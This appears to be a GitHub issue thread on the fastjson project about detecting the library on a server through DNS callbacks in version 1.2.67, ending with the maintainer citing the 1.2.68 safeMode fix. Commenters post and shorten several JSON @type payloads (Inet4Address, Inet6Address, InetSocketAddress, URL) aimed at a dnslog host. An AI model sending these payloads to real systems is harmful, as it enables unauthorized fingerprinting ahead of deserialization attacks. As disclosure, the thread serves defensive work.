Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

发现最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson #3077

Closed
c0ny1 opened this issue Mar 23, 2020 · 16 comments
Closed
Milestone

Comments

@c0ny1
Copy link

c0ny1 commented Mar 23, 2020

java.net.InetAddress虽然被禁止了,但是依然可以使用如下两个payload探测后端是否是fastjson

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
@c0ny1
Copy link
Author

c0ny1 commented Mar 23, 2020

而且无需开启autotype

@k3mlol
Copy link

k3mlol commented Mar 23, 2020

java.net.InetAddress虽然被禁止了,但是依然可以使用如下两个payload探测后端是否是fastjson

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

nice work, thx!

@retanoj
Copy link

retanoj commented Mar 23, 2020

我再发一个畸形的

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

@c0ny1
Copy link
Author

c0ny1 commented Mar 23, 2020

@retanoj nb,下午也刚好和其他师傅聊到这个payload

@qixiaobo
Copy link

新知识get

@retanoj
Copy link

retanoj commented Mar 23, 2020

还有很早的那个ysoserial里的由HashMap触发的URLDNS也能用,只不过也有点畸形

{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}

然而都没啥卵用啊,只能发个dns

@fnmsd
Copy link

fnmsd commented Mar 23, 2020

学习了

@threedr3am
Copy link

不造你为啥要变那么畸形

{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}

@k3mlol
Copy link

k3mlol commented Mar 23, 2020

看样子,最新的bypass也快出来了:)

@retanoj
Copy link

retanoj commented Mar 24, 2020

@threedr3am
赞,再短点

Set[{"@type":"java.net.URL","val":"dnslog"}]

再短

Set[{"@type":"java.net.URL","val":"dnslog"}

{{"@type":"java.net.URL","val":"dnslog"}:0

@T4di5
Copy link

T4di5 commented Mar 24, 2020

amazing :-)

@Wfzsec
Copy link

Wfzsec commented Mar 25, 2020

tql

@ghost
Copy link

ghost commented Mar 25, 2020

能获取到啥敏感信息吗

@wenshao
Copy link
Member

wenshao commented Mar 28, 2020

https://github.com/alibaba/fastjson/releases/tag/1.2.68
1.2.68版本提供了safeMode配置,可以完全禁用autoType,包括白名单和黑名单。

@rainbow456
Copy link

@retanoj 师傅,以上畸形的payload只能探测到存在fastjson是么?实际利用有什么思路么?

@retanoj
Copy link

retanoj commented Dec 2, 2021

@retanoj 师傅,以上畸形的payload只能探测到存在fastjson是么?实际利用有什么思路么?

java.net.Inet4Address 这个payload只能发dns,没有利用方法了吧

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

10 participants